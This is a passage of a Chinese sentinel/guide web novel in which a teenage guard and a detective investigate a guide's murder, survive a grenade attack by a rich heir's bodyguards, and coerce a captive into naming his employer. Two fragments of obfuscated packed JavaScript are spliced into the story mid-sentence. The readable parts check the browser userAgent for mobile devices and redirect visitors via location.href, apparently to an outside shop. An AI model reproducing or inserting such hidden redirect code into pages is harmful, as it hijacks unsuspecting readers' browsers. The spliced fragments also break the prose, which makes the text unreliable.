“莱蒂斯,你知道圣卢赛特警局和共感者调查部之间,其实并不是直接的上下级关系吗?” 莱蒂斯安静地吃完嘴里的食物,开口接话:“嗯。虽然现代议会制定的法律对共感者也一样有约束力,但由于历史传统,共感者的事务还是一律归塔管辖。” “”共感者调查部‘作为’塔‘的延伸,名义上虽然是圣卢赛特警局的一个部门,本质上却还是直接隶属于塔,由‘塔执法部’垂直管理。” “而作为普通人执法部门的市警局,实际上并不是共感者调查部的上级。他们对调查部,只有监督这一项职能。” “你课文倒是背得挺熟,我还以为小孩都对这种枯燥的内容不感兴趣呢。”尼尔森点点头,装模作样一推眼镜,语气却变得意味深长。 “那么现在就简单了——第二个问题:莱蒂斯,为什么你会来到圣卢赛特?” “因为警察局长奥夫先生认为布列塔尼部长可能徇私枉法,所以将连环杀人案交给了来自圣卢赛特外的我来调查。” 尼尔森把番茄沙拉和马苏里拉芝士叉在一起吃掉:“嗯,那你觉得布列塔尼会徇私枉法吗?” “……不会。” “那么,”尼尔森的视线和手里的叉子一齐对准莱蒂斯,“我再问你一遍:莱蒂斯,为什么你会来到圣卢赛特?” “……”莱蒂斯的眼神冷了下来,“为了避免让布列塔尼部长介入连环杀人案。” 她突然觉得没了胃口。热腾腾的意面裹着白酱蘑菇划过她咽喉,她感觉胃部很沉。 “不,不对。”少女看着尼尔森的眼睛,接着道,“把部长支开不是目的,奥夫局长真正的目的是掩盖案件真相。但他没权限直接禁止调查,因为这起连环杀人案的受害者是哨兵,应该归塔执法部,而不是警局管辖。” “所以,他只能动用监督者的职权,禁止部长参与这起案件,并把这个任务临时交给我——一个只觉醒了嗅觉,评级不高,甚至从没离开过圣所的新手护卫。” “所以我来圣卢赛特……是因为我太弱。是因为我根本没有能力调查出真相……?” 小姑娘说着说着,不自觉地移开了目光,垂下睫毛盯着桌面。夜色逼近这个餐厅里亮灯的小角落,低落像是暴雨前沉闷的空气弥散开来,她的声音小了下去。 酒神节的哨兵用机械臂对准她的时候,她都没有低下过头。 莱蒂斯.维克菲尔德,这个少女因为护卫的身份为普通人所排斥,又为哨兵们所鄙夷,没有归处,独自生长。 她一直自卑,但又她足够理想,足够倔强。她相信正道必被践行,她愿意为此奉献自己的力量。若有人愿意交予她一个任务,她必定会坚定地履行自己的职责,坚定地追寻真相,不惜以身犯险,火中取栗,如同茫茫荒野上奔跑的孤狼。 可当她终于以为自己获得了认同,得到了托付,当她终于得以抱着一厢情愿的正义和执着,为枉死之人奔波,现实却如鬼魅般阴冷而低沉地回答她:根本没有什么职责。你被选中只是因为你一无所能,只是因为你便于利用。 少女抿了抿嘴。她不想哭,只是感觉到某种酸涩和无力,比面对冲锋枪更沉重的无力。也许尼尔森能感觉到这种她不希望为人所知的脆弱,但她没有精力去防备向导。 “不过很明显,那个奥夫局长这把玩砸了。”一声轻笑传来,坐在对面的尼尔森将十指交错,抵在下巴,“你并不是他想象中的弱小护卫,不是吗?” “你还是查到了酒神节,闯进闯出还搞残了一个装着机械臂的哨兵。哎呀,现在肯定有不少自以为是的家伙正因为你急得想跳河吧。”他弯起眼睛看着她,明明带了点恶劣的得意,金瞳里的笑意却还是如同阳光闪烁。 “何况你还让我昨晚做了个好梦。相信我,至少对我来说,你可是独一无二的厉害。” “……嗯,我只是想帮忙。”莱蒂斯再次抿了抿唇,不过这次只是因为她从没如此直白地接受过别人的夸奖。她感到有些不知所措,又感到一种支撑的力量,好像在摇摇欲坠时被人扶了一把。 少女不知如何应对,于是轻轻咳了一声,盖过这个话题,努力保持冷静的表情接着问:“那么,局长之所以这么做,是因为白鸟的客户要求他隐瞒这个案件的真相,是吗?” “正确。这也是为什么那个客户只是一个普通人。他和他的家族,虽然地位显赫,但势力范围只能涉及到普通人的社会关系,因此只能勾结警察局长来掩盖案件。” “如果他来自有权有势的哨兵家族,则完全可以通过上级的塔,直接命令调查部停止侦查。” 莱蒂斯点点头:“可他为什么是个小辈?” “因为现在短视频上的新闻还铺天盖地呢。现在我们已经知道,这个酒神节的客户不希望这起杀人案引起关注。如果他有能力动用家族势力,多半早就联系这些平台压下这个事件了。” “而且这小子应该不太聪明。”尼尔森露出戏谑的表情,“海克.雷德的死已经是十天前的事情了,但他应该是在前天瓦夫.埃蒙的尸体被发现后,才意识到这件事可能和自己在酒神节的''娱乐''有关系的。这也是为什么直到前天,布列塔尼才被禁止参与调查。” 莱蒂斯皱了皱眉:“他费尽周折瞒下这件事,是因为真相会暴露他曾经折磨并害死过一个向导吗?” “哦,他才不会担心这种事呢。”尼尔森摆摆手,“只要向他的家人求助,这种小事很容易就能被掩盖过去。” “这种人根本就不在乎自己害死了多少人。”熟悉圣卢赛特的侦探习以为常地耸耸肩,“他之所以自己在这里瞎折腾,而不找家族帮忙,多半只是因为他害怕家族的长辈知道他磕药□□,还在玩向导之旅而已。” “……”莱蒂斯五味杂陈。她感到不可思议,厌恶,以及愤怒。 尼尔森于是帮她说出了她愤怒的缘由:“是啊。害死向导、利用警局,对这种人来说,其实只是和不想让家长发现自己偷去了酒吧差不多吧。” “砰!” 一座漂亮体面的顶层公寓内,一尊被放在桌上的装饰雕塑被砸在地上。它价值近三十万磅,所幸柔软的地毯保护住了它。 “妈的妈的妈的,那个局长不是说好了会派一个永远不可能查到酒神节的废物来的吗?那个叫莱蒂斯的怎么今天就摸到酒神节去了!混账,都是混账!” 前不久接到酒神节电话的伦滋少爷在公寓里直打转,同时把所有路过的东西都砸到地上,争做全世界最好的桌面清理大师。 “少爷,冷静点。他们只是去了酒神节,说不定并没有发现什么。”管家跟在他后面,把地上的东西一件件拾起来。 “没发现?酒神节的人说他们都把白鸟的尸体推到门口了!白鸟!我买下来的那个向导白鸟!”伦滋少爷猛地回身,把一个花瓶摔碎在管家脚下,“这他妈叫没发现?!” 平心而论,尼尔森的推理还是有些偏差。这家伙看上去可比一个偷去酒吧的小孩狂躁多了。 “你们都他妈当我傻逼是吧!我看你就是想让我被我爸从四十五楼扔出去!” 伦滋又抄起几个玻璃杯向管家砸过去,砸得满地玻璃碎片,然后又突然捂住脑袋,瞪着落地窗外的城市小声喃喃。 “完了,老爹才跟我说过这段时间绝对不能闹出丑闻……过两天议员竞选就要开始了,要是有人顺着这个案子查出了我影响了他竞选,他肯定要把我杀了………” “如果您想一了百了,为什么不直接联系黑手党把那个女护卫做掉呢?”管家蹲下去,掏出手帕拾取大块的碎片,并以圣卢赛特人的思路提出建议。 “信得过的黑手党都是和我爸是一边的,他们才不会像警察局长那样卖我面子!要是去找他们,他们肯定会跟我爸说的!” 伦滋少爷一拳锤在玻璃窗上:“现在只能靠霍华德他们了!也不知道他们现在做到哪里一步了。” 霍华德是伦滋少爷的私人保镖兼好哥们,带领的安保小队还有另外三人。 虽然他们的效率可能比不上黑手党的暗杀组,但他们都是伦滋亲自挑选并且雇佣的,伦滋相信他们会为自己保守秘密。 管家友善地提醒伦滋:“霍华德先生半小时前向您报告过,他们拿到了警局提供的女护卫的号码,伪装成诈骗电话拨通了它,并借此定位了女护卫的位置。” “我知道!但是都半个小时了!他们怎么还没动静!天呐,我今晚连夜店都没心情去了,他们就不能快点把那女的杀了吗,我还等着下半夜出去喝酒呢!” 天不遂人愿。堂堂伦滋少爷还在高楼大厦顶层发疯,他心心念念想干掉的少女却正在小餐厅里,面前摆着一份甜品。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356911|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这是一盘奶油酥卷,外皮金黄酥脆,奶油蓬松浓郁,散发着炸面包和奶制品的香甜。只是垫在油纸上,就足够赏心悦目。 尼尔森享受着这道盖比太太赠送的意大利传统甜品,莱蒂斯却只是盯着奶油酥卷走神。 酥脆甜蜜的口感似乎并不能吸引少女,她正在为下一步该如何调查犯愁,毕竟要从警察局长那边找到线索并不是一件容易的事情…… “调查的事情不能先放放吗,我都能感觉到你累了,你感觉不到吗?”尼尔森转了转食指,好像能用这个动作把莱蒂斯散发的情绪绕在指尖,“你不尝尝盖比太太做的甜品吗?“甜的东西能让人心情变好,我是向导,我亲测证明,甜品店里的情绪经常像是一大锅糖浆。” “不用了,你吃吧。”莱蒂斯摇摇头,没分太多注意力给他。 “啊,你不喜欢吃甜的。”尼尔森得出结论,也不客气,把她那份奶油酥卷拿起来,“那这个归我了?” “嗯。”莱蒂斯一边思考一边下意识地回应他,“没关系,反正我吃不出味道。” “哦,那好。”尼尔森把酥卷塞嘴里,然后整个人一顿,动作停在半空,“不是,等一下,你什么?” “嗯?”莱蒂斯被他这一下打断了思路,抬起头来看他,“怎么了吗,尼尔森?” 尼尔森更加困惑。他更加具体地重复一遍自己的问题:“你吃不出甜品的味道?” “是啊,我吃不出东西的味道。”莱蒂斯理所当然地说,“我没跟你说过吗?我只觉醒了嗅觉这一种感官。” “啊?”尼尔森诧异地发出单个音节,好像有人在告诉他直升机能飞是因为海绵宝宝是黄色的。 他把酥卷咬断,问道:“我当然知道你只觉醒了嗅觉,但这跟你吃不出味道有什么关系?” “嗯?”莱蒂斯对尼尔森的诧异感到诧异,好像他不知道一加一应该等于二。 她思索了一下,看着尼尔森今天和她出生入死的份上,决定耐心回答这个像是在没事找事的问题: “因为我只觉醒了嗅觉,所以我没办法自由控制其余四种感官的精神屏障。其中,我味觉的不可逆屏障最强,所以导致我没法吃出东西的味道,这不是很正常吗?” “……”尼尔森沉默了。不可逆屏障是什么玩意?精神屏障随共感者的想法而转变,从来都可以加强也可以削弱。这世界上哪有只能加强,不能减弱的精神屏障? 莱蒂斯的话过于莫名其妙了,他甚至特地减弱了自己的精神屏障来观察莱蒂斯是不是在跟他开玩笑。但辐射过来的情感表示,莱蒂斯是认真的。 他放下酥卷。 做私家侦探这几年,尼尔森从别人的话里找关键词的能力变强了很多。因此,即使莱蒂斯这番话快把他CPU干冒烟了,他也及时地锁定了问题的关键。 觉醒,控制力,精神屏障。莱蒂斯这奇怪的反应,似乎只能通过一种奇怪的逻辑解释。 即使这个解释非常扯淡。 尼尔森说:“莱蒂斯,我有个问题。你先跟我解释下,护卫和哨兵的区别在哪里?” “?”莱蒂斯没想到尼尔森会突然抛回来一个世界观常识问题,但侦探看起来很认真,比面对连环杀人案还认真,她也只能认真地回答:“区别在于对感官的控制力,不是吗?” “护卫和哨兵都是共感者,五感都超出普通人,但哨兵对感官的控制力更强,能够建立可逆的精神屏障,调节感官的灵敏度,以此来适应日常生活和战斗。” “护卫则只对部分感官有控制力。对于无法控制的感官,我们只能建立不可逆的精神屏障,把感官降低到普通人的水平,避免影响到日常生活。只有能控制的,''觉醒''的感官,我们才能建立可逆的精神屏障。” “……你老家的教科书里是这么写的?”即使有心理准备,尼尔森冒烟的CPU还是在莱蒂斯理所当然的陈述里爆炸了,“你老家是在平行宇宙里面穿越过来的吗?” “这种常识为什么要看教科书?”莱蒂斯问,“这是休伯特大叔在我刚觉醒的时候告诉我的。” 尼尔森从未觉得有什么谜题如此扑朔迷离,他就像一个双性别世界观里的人第一次听见ABO。 他摘下眼镜,捏来捏鼻梁,再戴上,好像这无辜的平光镜刚刚引起了他的幻听: “莱蒂斯,如果我没理解错的话,你的意思是,你一直都有超常的五感。” “但你认为,你只能自如地控制嗅觉一种感官。对于除了嗅觉的四感,你都只能建立不可逆的精神屏障,把它们削弱到和普通人一样的水平。其中,你味觉的屏障最强,导致你甚至没有办法尝到食物的味道,是吗?” 莱蒂斯露出了你终于懂了的表情:“是啊。” 尼尔森也露出了我终于他妈的懂了的表情。他想起自己刚刚接触到的厚得离谱的精神屏障,还有酒神节的屏蔽室里被屏障装晕的鬣狗。 他深吸一口气,忍住吐槽的冲动,掏出手机飞快打字,然后竖在莱蒂斯面前: “不是,根本不是这样的,莱蒂斯。我不知道你叔为什么要这么跟你说,但护卫和哨兵的区别根本就不是在感官控制上!你看谷○,看维○百科,看看护卫和哨兵的定义!你根本一直就是个——” “嘘。” 就在尼尔森要说出“哨兵”两个字的时候,莱蒂斯突然眉头一皱。她迅速按住他的手,将他的手机屏幕扣了下去,目光移向小店的门口。 “有人在外面,一共四个。” 22. 第二十二章 “莱蒂斯,你看,这是维○百科,上面说''哨兵是拥有超强五感的一类人。‘” 尼尔森举着手机说。 “砰!” 餐厅里火光四溅,莱蒂斯一脚把桌子踹倒,把尼尔森拽到桌子背后蹲下。伴随着小店门口的一阵枪声,子弹打进桌子里。 “你再看,这个是护卫的词条:''护卫是没有觉醒全部五感,只觉醒了一到四种感官的共感者。''所以哨兵和护卫的区别只是觉醒的感官数量。” 尼尔森在枪声中坚持不懈地念道。 “尼尔森,现在有四个带着枪的男人在门口对我们射击。”莱蒂斯拿出从酒神节抢来的那把手枪,探出桌后。 她一枪打爆了一个男人的膝盖,又躲回掩体后面:“你能先不跟我讨论维○百科的事情吗?” “四个普通人而已,又打不过你。”尼尔森坐在桌子后面,翻出下一个词条,“这里,精神屏障是精神力形成的一种保护性质的隔膜。” 莱蒂斯在此期间又开了一枪。枪口的闪光逆着黑暗绽放,让另一个男人摔在了地上。 尼尔森说:“它源于共感者的意志,必然具有可调节性。” “……子弹没了。”莱蒂斯皱起眉,她垂下枪口,瞥了眼店内。那四个男人不依不饶地在向他们开枪,桌子快撑不住了。 尼尔森继续说:“无论哨兵或护卫,向导或伴侣都有调节精神屏障的能力。所以你要不先降低你的视觉屏障——” 莱蒂斯抓住他手腕,对袭击者放了个空枪,趁此机会拖着尼尔森转移到了收银台附近。 她动作干脆迅速,尼尔森都没太反应过来,等他又被莱蒂斯按在了安全的角落,句尾的单词才迟一步冒出来:“——试试看。” 唉,好吧,他其实也不想在这种危机时刻和莱蒂斯鸡同鸭讲地科普正确世界观的。但确认莱蒂斯是哨兵对他来说很重要,比躲子弹重要。 他可还一直惦记着昨天晚上的事呢。如果莱蒂斯真的是哨兵,那他们昨天的精神共鸣岂不是意味着,他和这小姑娘之间的契合度简直是独一无二天生一对的程度吗?! “亲爱的们,这到底是怎么了。” 就在这时,收银台背后的后厨门里,传来盖比太太担忧的声音。她刚刚一直在后厨收拾厨具,却突然听见外面有很大的声响。 “有人突然闯进店里开枪。”莱蒂斯匆忙地回答,开始思考把没子弹的枪当成榔头用的可能性。 “哦不,太糟糕了。”盖比太太说,把门拉开一条小缝,“那你们最好快点进来。” “不,我们能搞定。”莱蒂斯赶紧把门按回去,“外面很危险,您在里面躲好。” “不不,你们一定得进来,我有东西给你们。”慈祥的老奶奶隔着门慈祥地说,“我儿子在后厨常备了一些实用的东西。” 莱蒂斯:“不用了,我们——” “有左轮,半自动手枪,还有两把冲锋枪,快进来,我带你们去拿。” 莱蒂斯:“?” “真好。”尼尔森在枪林弹雨里毫不紧张地笑道,“盖比太太,您的店可真是像家一样安全。” 他抬手,把后厨门拉开。 然而,仿佛为了讽刺他的悠哉一般,莱蒂斯的目光突然凌厉起来。 “……糟了。” 她瞪向门口,穿过火药和硝烟,她闻到了引线燃烧的味道。 有一颗手雷被拉开了。 “轰——” 明亮的红色火光在小餐厅里升起,照亮破碎的玻璃,翻倒的桌椅,满墙的单孔,然后转眼将它们都吞噬殆尽。 “喂?伦滋少爷。我搞定他们了。” “终于!太好了!”电话另一头传来爽快的感叹,“霍华德!你们怎么花了这么久啊!” “我们……找人找了很久,”霍华德的声音顿了一下,然后又高昂起来,“不过我们用颗手榴弹就把那个莱蒂斯解决了。她完全不是我们的对手。” “酒神节的哨兵队长说莱蒂斯身边还跟了个男的,那个人你们也杀了吗?” “哦,当然,少爷。那个人和看起来一样的废,顺便补一枪就死了。” “啊!干得漂亮!”电话里的伦滋少爷高兴地说,“快回来吧,霍华德,直接去肖迪奇酒吧找我!今晚本少爷心情好,作为奖励,你想要什么我都包了!” “……”霍华德又顿了一下,也高兴地回答,“啊,好,好。我马上就过去。感谢您,少爷。” “好,那待会儿见~”伦滋少爷愉快地吹了个口哨,仿佛杀死两个人只是打死了两只烦人的蚊子。 电话挂断了。一只手把它从霍华德耳边拿开。 “……”被绑着手的霍华德坐在地上,问他面前站着的一男一女:“这样行了吗?” 现在霍华德可一点都高兴不起来,事实上,他快后悔死了。 扔完手榴弹之后,霍华德以为自己已经成功放倒了目标,于是和另一个没有受伤的同伴一起大摇大摆地走近了收银台,去找那两个家伙的尸体。 结果他们没有找到尸体。不仅没有尸体,那炸烂了的收银台边压根什么都没有。 与此同时,旁边的后厨门被推开了。 门缝中的灯光像是铡刀剖开他视线,他看见了冲锋枪的枪口。 手榴弹从拉环到爆炸有五秒的时间,对方不知怎么预判到了他拉开手榴弹的时间,及时躲进了后厨里。 比冲锋枪更让他脊背发凉的,是端枪的少女那狼一样的绿色眼睛。她只是冷着脸,看着他,他的喉咙就像被咬断了一样发紧。 不是说这是个废物护卫吗? 霍华德不敢动,用手榴弹炸出的废墟仿佛正在他身后沉吟,它变成了他自己的坟墓。 他只来得及在心中发出一阵惨叫: 他妈的!一个普通的意大利餐厅,为什么会有冲锋枪和这么高级别的防弹防爆门啊! 之后的战斗发生得太快,他回忆不清发生了什么。对方似乎压根没有开枪,但还是在几秒之内放倒了他的同伴,他自己则被一掌击中下巴,昏了过去。 等醒来时,霍华德眼前一片昏花,只听见两个声音在说话。 “你真的可以试试,把你调节嗅觉上的方法运用在视觉上就行。” “我不明白。我的视觉屏障是不可逆的,我没法调节它。” “莱蒂斯,你不是不明白,你只是没接受我说的概念,根本没有不可逆的屏障——啊,醒了?” 一个人影走过来,蹲到霍华德面前,霍华德看不太清他的脸,却看得清他金色的眼睛。于是霍华德意识到,这是那个跟在目标莱蒂斯身边的,吊儿郎当的风衣男。 风衣男问霍华德:“既然你都不请自来了,不顺便自我介绍一下吗?” 霍华德咬紧牙关,抵抗眩晕:“啧,你休想知道我的名字。” “啊,真抱歉,没人在乎你的名字。”风衣男乐了,然后一针见血地问了霍华德他最担心的问题,“我是想让你介绍一下,你是谁派来的。” “……”霍华德思考了几秒,挤出一个冷笑,“黑手党的事情,你还没资格打听。” “唉,很聪明的理由,但现在把锅甩给黑手党有点晚了。”风衣男一副遗憾的样子,“你到现在都不知道这家店是谁家的,对吗?” “……”霍华德说不出来,只是一脸凶相,死死盯住风衣男,想震慑他。 但风衣男完全不怕他,只是摊了摊手:“你瞧,这才是黑手党的事情。任何一个圣卢赛特的□□都有一份禁止交战地的白名单,这家店可是名列前茅的啊。” 他反手从兜里掏出部手机,把手机递到霍华德面前。那是霍华德的手机,通话记录最近一个电话是给伦滋打的。 他对霍华德笑笑:“我今天挺累的,就不陪你演了。你半小时前联系过的这个伦滋是谁?” 霍华德心里一紧:“不可能,你怎么解锁我手机的?” “……”风衣男本来正兴趣盎然地审问,听完这句沉默了一下。 他把手机锁上,然后对准霍华德震惊的脸。 然后人脸识别当着霍华德的面,把手机解锁了。 风衣男一脸无语:“再告诉你一个黑手党小知识吧。为了防止信息泄漏,暗杀组的杀手们都用老年机联系雇主。” “……”霍华德也沉默了,信息暴露得猝不及防,他选择只挑一部分真相回答,“伦滋是我好哥们。” “扣分,这可不是个好借口。”风衣男晃了晃手指,“杀人前半个小时和好哥们打电话一点也不可信。我建议你下次说这是你同伙,虽然不知道你还有没有下次。” 说完,这个金色眼睛的男人又低下头翻起霍华德的手机,样子不紧不慢。 他不着急问,霍华德却反而更觉得忐忑了。这个男人好像俯视着迷宫里的小鼠的实验者,他早知道霍华德会如何反应。他只是玩弄他,在看着他一步步走进陷阱。 果不其然,风衣男把他和伦滋的聊天记录翻了出来。 “一般人可不会管自己的好兄弟叫少爷吧?嗯?” 霍华德啧了一声。虽然伦滋总说他们是兄弟,但还是会经常摆雇主的架子,始终认为自己高人一等。霍华德习惯喊他少爷,语气也经常毕恭毕敬,他们的聊天记录完全够反应出他们的雇佣关系。 “你的雇主还真是神秘,我翻遍了可能有他姓名的所有软件,你却都只备注了他的名,这不太符合礼节吧?”风衣男晃了晃手机,“我说这位先生,你的少爷姓什么?” 霍华德皱紧了眉,一言不发。这是他故意的,就是担心有朝一日他的手机被黑,记录被曝光。他不能备注伦滋的姓,因为任何事都不能牵扯到伦滋的家族。 伦滋是个任性妄为的年轻人,而他的家族会包容他的一切。他可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不行!你他妈……混蛋,把我手机放下!”霍华德挣扎起来。伦滋那性格,要是发现他偷偷和自己的女人在一起,非把他碎尸了不可。 “啊,还想继续保持地下恋情吗?这么低调?”尼尔森漫划了下屏幕,更多的聊天记录出现在屏幕上,莱蒂斯把它当成某种证据研究,看得非常认真,霍华德则一身冷汗。 “你的少爷,他姓什么?”尼尔森漫不经心地点着手机问。他刻意放慢动作,即使霍华德的角度看不见屏幕,也能猜到他已经点击了转发按钮。 “我不能说!”霍华德大喊起来,“我不能违反保密的协定,不然我永远都接不到工作了!” “哦,好吧。”尼尔森无所谓地说,他侧过身,特地让霍华德看见屏幕,“那我发了——” “不不不,别,不行——”霍华德语无伦次,他从嗓子里挤出一个单音节,“呃……H……赫……” 尼尔森的手指划向确认转发的按钮,动作没有一丝停顿。 “赫夫迈!” 在手机屏幕悠悠地光下,霍华德面容扭曲地大叫出一个单词。 这个单词好像耗尽了他所有的力气,他的脊背迅速坍塌下去,整个人喘着粗气。 ”雇佣我的人,叫伦滋.赫夫迈。” 啊,是了,真是个好姓氏。 尼尔森停下了动作,轻轻挑起嘴角。那微笑的弧度愉悦又危险,如同面具上的一道裂痕,裂痕里是一片混沌。 昏暗的小店里,他的笑意并不明显,却让霍华德毛骨悚然。 无所谓,只要莱蒂斯没注意到就好。 尼尔森隐去笑意,对霍华德道:“好,你先给你的少爷打个电话吧。” 霍华德照做了,他寄希望于用这个电话结束一切。可等他打完电话后,尼尔森和莱蒂斯却没有再理他。他们一起站起身来,开始跟盖比太太告别。 “喂,我已经按你们要求做了!现在电话打完了!可以放我走了吧。”被无视的霍华德说,“手机还我,我们两清了!” “啊?”尼尔森转过头来看了他一眼,把手机揣进兜里,“谁跟你两清了,你们把盖比太太的店砸成这样,不赔怎么行呢?” “哼。” 在一片废墟中,盖比太太坐在一套尚且完好的桌椅边点头。她看起来很生气,甚至不想和霍华德说话。 “我们真的很抱歉,盖比太太。” 莱蒂斯贴心地把一朵幸免于难的塑料玫瑰插在桌上的花瓶里。她非常正式地感谢老太太的招待和帮助,老太太慈爱地看着她,霍华德又被无视了。 霍华德赶紧前倾身体争取机会:“我,我有钱。我可以赔,我赔得起。” “钱可不一定能赔,你可是在黑手党的白名单地盘上动手了。”尼尔森一边说一边和老太太微微鞠躬示意,“现在,盖比太太的儿子,火荆棘帮的二把手正在赶来的路上呢。哦,对了,盖比太太,请代我向他问好。” “我们住得远,就先走啦。”侦探对老奶奶挥了挥手,又对霍华德笑道,“至于你做的坏事嘛,是拿你的钱赔,还是拿你的命赔,就看盖比太太到时候怎么决定了。” 23. 第二十二章 半夜,尼尔森带莱蒂斯回到了他的公寓。 这一决定出于一种非常正当的理由:想杀他们的人知道莱蒂斯的信息。 他们既然已经拿到了莱蒂斯的号码,肯定也知道莱蒂斯现在暂住在警局的值班室。谁也不敢保证圣卢赛特警局里是否也有杀手守株待兔。 因此,尼尔森的住址反而是个比警局更安全的地方。 霍华德,这个本来想杀了他们的男人,携队友上门白送了四杀和一手机的情报。有了这部手机里的信息,尼尔森和莱蒂斯可以明天再慢慢决定行动对策。 漫长的一天终于结束,经历了太多的两个人只觉得疲惫。莱蒂斯没力气嫌弃尼尔森房间里的气味,尼尔森也没力气再耍嘴皮子。 他们一起走进陈旧的公寓。空气阴冷潮湿,木地板在两人脚下吱呀直响,但一种安心感不约而同地升起,他们总算可以放松下来。 “不嫌弃的话,床归你了。”尼尔森做了个绅士的动作,虽然因为房间太小,这种谦让也显得有些捉襟见肘。 这房间里只有一套桌椅,没有沙发,他从衣柜里拖出个一体式户外睡袋铺在地上,这是他蹲点的时候用的东西。 “唔,谢谢。”莱蒂斯点点头。小姑娘连续两天熬到半夜,终于从生死一线的紧张中缓了过来,晕乎乎地犯困。她走到床边,按照在圣所的习惯把尼尔森有些乱的床铺先整理了一下。 趁她背过身去,尼尔森悄悄打开一个抽屉,拿出了一个老式手机。 “你能闻出啤酒的味道,对吧。”他将手机放进口袋,又弯下腰,从小冰箱里拎出瓶冰啤酒,对莱蒂斯摆摆手,“那我去天台上喝了,顺便吹吹风。” 晕乎乎的莱蒂斯微微皱起眉:“可是,如果有人偷袭的话,你一个人不会突然死掉吗?” “我在你眼中到底是有多弱啊?而且他们又不知道我是谁,找不过来的。”尼尔森嘴角抽了抽,“我看你是真的困了,快睡吧。” 天台上,尼尔森靠着栏杆,喝了口啤酒。 如果这是在圣卢塞特市中心,他眼前会是绝佳的繁华夜景,让人叹为观止。但他正在贫民区的楼顶,放眼望去,世界铺满了夜色和萧条的旧楼。 他当然不是特地跑来对着这惨淡的风景喝酒的。 夜风吹动尼尔森的风衣,他拿出那只老年机,沉默着打量它。问出霍华德的雇主时,他还很兴奋,到了现在,却感到了莫名地迟疑。 手机的款式很旧,看起来有些年头,有种从三十楼摔地上能把地面砸出坑还不坏的风范。尼尔森输入密码,按进通讯录,这里面只有一个号码,并且没有任何备注。 他又喝了口啤酒,按下拨通键,十几秒的忙音后,电话接通了。 对面没有声音,就像根本没有人在。 但尼尔森知道她在听。他说:“喂,老太婆,有个赫夫迈最近犯了事,是要捅出来,还是压下去?” “……哪一个赫夫迈?” 旧手机里传来一个女性的声音。她是一个上了年纪的人,但岁月并没有让她苍老,只是让她沉稳如大地之基石。她一开口,就像执掌审判的阿耳忒弥斯开始说话。 尼尔森回答她:“伦滋.赫夫迈,要竞选议员的哈瑞.赫夫迈的小儿子。你也知道,咱们的哈瑞先生由商转政,演讲厉害,面相也和善,很受欢迎。” “哦对了,他还认为社会对共感者投入了过多的资源,所以主张削减塔的资金。有不少普通人都支持他。他很有可能当选。” “这个人,对你来说是个麻烦,对吧。” “……” 对面的人没有表态,她反问尼尔森,“你要什么?” “24小时。我要自由使用能力的时限,一共二十四小时,什么时候用由我自己决定,在此期间,取消对我的监视和控制。” “……”手机里边的沉默像一块逐渐下压的巨石,尼尔森等待着,握着啤酒瓶的手有些发抖。 半晌,对面的人缓缓开口:“5分钟。” “什么?!”尼尔森攥紧手机,他失去了从容,猛地站直身体,好像正在面对面和对方冲突,“我的要求可是以小时为单位的,你终于老糊涂了吗?这情报你到底是要还是不要?或者我现在就去提醒那两个赫夫迈,有人一直盯着——” “尼尔森.莱顿,别忘了。”伴随着一阵强风,电话里的声音冷硬地打断了他,“你只是一个犯下刺杀罪行的,正在假释期的罪犯。我把你从监狱岛放回圣路赛特已经是特赦。不要得寸进尺。” “得了吧,少在这里跟我装好人。我知道你放我回来只是为了你自己的目的而已。听着,赫夫迈家族的情报可不好找,如果你真的以为我会为了五分钟给你卖命——” “我并不缺你的情报。尼尔森,你总是高估你自己的重要性。”对面的人完全不为所动,“我有无数渠道去掌握他的把柄。如果我选择让你提供情报,那是我对你的恩惠,不是你对我的。” 尼尔森的手背浮出青筋,嘴角却带上冷笑:“哈,你还是早点死了好。变老只是让你越混账了,老太婆。” 他的恶语相向没有引起对方的半点波澜,她只是重复: “5分钟。每次一分钟,你一共有五次机会使用你的能力。你我都清楚这种能力有多危险,我不可能放任一个罪犯随意使用它。” “是啊。”尼尔森讥讽地笑道,“但你却用它爬上了你现在的位置。” “别用废话浪费我的时间。我只给你5分钟,如果你不接受,直接挂掉电话。” “啧。”尼尔森不仅想挂断电话,他还想把酒瓶直接砸碎在这个高高在上的家伙头上,送这家伙早日归西。但风带着令人发冷的温度略过他脊背,从来没有被酒精平复过的应激障碍在他的体内沸腾,把他锁在那座监狱岛。 他知道他只是个绝望的赌徒,手握着一文不名的筹码。他能拿到赫夫迈家族的情报纯属意外,仅仅是挤上这场赌局的牌桌,就已经花光了他的运气。 尼尔森闭上了金色的眼睛,深吸了一口气问道:“伦滋.赫夫迈在向导之旅时玩死了一个向导……你是想把这件事捅出来,还是压下去?” “把你掌握的情报提供给我。保证除了我,这件事没有任何人知道。” “哈……哈哈哈,哈哈哈哈。”尼尔森忽然咧开嘴角,他抿了口啤酒,开始乐不可支地放声大笑,“老太婆,我就知道你会这么做!你和我根本没有区别,装得再好也只是自私自利!你天天在电视里说着要保护向导,给向导平等的权利,现在却为了独自掌握政敌的丑闻,要对向导们的死视而不见了啊——” “嘟。” 电话挂断了。 一位身姿挺拔,穿着西装的女性将手机收好,抬眼看向晚宴现场。她有银色的短发,金色的眼睛,时光在她的脸上留下的皱纹如同一种古老而威严的符文。 她正在另一个国家访问,切开大陆的海洋带来了四小时的时差,奥西恩王国的深夜,正是这里的宴会黄金时间。 金碧辉煌的大厅里,名流权贵们穿着考究的外衣,带着礼貌体面的微笑,手持香槟相互交谈。淡淡的香味弥漫在空气里,缠绕着古典乐队演奏出的音符。 她并不担心有人注意到了刚刚的私人电话,事实上,在认知偏差的误导下,这里的所有人都以为,她一直在原地和这个国家的国务卿交谈。 然而,弥斯.柯琳斯,奥西恩王国的塔之首席,世界上第一个首席向导,其实只是站在会场的一角,漠然地注视着一切。 